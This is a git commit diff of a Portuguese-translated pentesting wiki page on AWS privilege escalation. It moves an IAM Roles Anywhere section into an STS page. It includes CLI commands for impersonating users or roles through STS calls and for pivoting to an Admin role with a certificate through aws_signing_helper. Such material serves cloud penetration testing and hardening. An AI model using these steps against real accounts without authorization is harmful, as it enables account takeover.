Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

This commit is contained in:
Translator
2025-06-24 14:03:40 +00:00
parent 316c884ffd
commit 232fbc1be2
2 changed files with 42 additions and 45 deletions

View File

@@ -1,42 +0,0 @@
# AWS - IAM Roles Anywhere Privesc
{{#include ../../../../banners/hacktricks-training.md}}
AWS IAM RolesAnywhere permite que cargas de trabalho fora da AWS assumam funções IAM usando certificados X.509. Mas quando as políticas de confiança não são adequadamente definidas, elas podem ser abusadas para escalonamento de privilégios.
Esta política carece de restrições sobre quais âncoras de confiança ou atributos de certificado são permitidos. Como resultado, qualquer certificado vinculado a qualquer âncora de confiança na conta pode ser usado para assumir esta função.
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "rolesanywhere.amazonaws.com"
},
"Action": [
"sts:AssumeRole",
"sts:SetSourceIdentity",
"sts:TagSession"
]
}
]
}
```
Para privesc, o `aws_signing_helper` é necessário de https://docs.aws.amazon.com/rolesanywhere/latest/userguide/credential-helper.html
Então, usando um certificado válido, o atacante pode pivotar para o papel de maior privilégio.
```bash
aws_signing_helper credential-process \
--certificate readonly.pem \
--private-key readonly.key \
--trust-anchor-arn arn:aws:rolesanywhere:us-east-1:123456789012:trust-anchor/ta-id \
--profile-arn arn:aws:rolesanywhere:us-east-1:123456789012:profile/default \
--role-arn arn:aws:iam::123456789012:role/Admin
```
### Referências
- https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation/
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -35,11 +35,11 @@ aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname
### **`sts:GetFederationToken`**
Com esta permissão, é possível gerar credenciais para se passar por qualquer usuário:
Com essa permissão, é possível gerar credenciais para se passar por qualquer usuário:
```bash
aws sts get-federation-token --name <username>
```
É assim que essa permissão pode ser concedida de forma segura, sem dar acesso para se passar por outros usuários:
É assim que essa permissão pode ser concedida de forma segura, sem dar acesso para impersonar outros usuários:
```json
{
"Version": "2012-10-17",
@@ -78,7 +78,7 @@ Um exemplo de uma política de confiança com esta permissão é:
]
}
```
Para gerar credenciais para impersonar a função, você poderia usar algo como:
Para gerar credenciais para impersonar a função, em geral, você poderia usar algo como:
```bash
aws sts assume-role-with-saml --role-arn <value> --principal-arn <value>
```
@@ -103,4 +103,43 @@ aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/
../aws-basic-information/aws-federation-abuse.md
{{#endref}}
### Privesc do IAM Roles Anywhere
AWS IAM RolesAnywhere permite que cargas de trabalho fora da AWS assumam funções IAM usando certificados X.509. Mas quando as políticas de confiança não são adequadamente definidas, elas podem ser abusadas para escalonamento de privilégios.
Esta política não possui restrições sobre quais âncoras de confiança ou atributos de certificado são permitidos. Como resultado, qualquer certificado vinculado a qualquer âncora de confiança na conta pode ser usado para assumir esta função.
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "rolesanywhere.amazonaws.com"
},
"Action": [
"sts:AssumeRole",
"sts:SetSourceIdentity",
"sts:TagSession"
]
}
]
}
```
Para privesc, o `aws_signing_helper` é necessário de https://docs.aws.amazon.com/rolesanywhere/latest/userguide/credential-helper.html
Então, usando um certificado válido, o atacante pode pivotar para o papel de maior privilégio.
```bash
aws_signing_helper credential-process \
--certificate readonly.pem \
--private-key readonly.key \
--trust-anchor-arn arn:aws:rolesanywhere:us-east-1:123456789012:trust-anchor/ta-id \
--profile-arn arn:aws:rolesanywhere:us-east-1:123456789012:profile/default \
--role-arn arn:aws:iam::123456789012:role/Admin
```
### Referências
- [https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation](https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation)
{{#include ../../../banners/hacktricks-training.md}}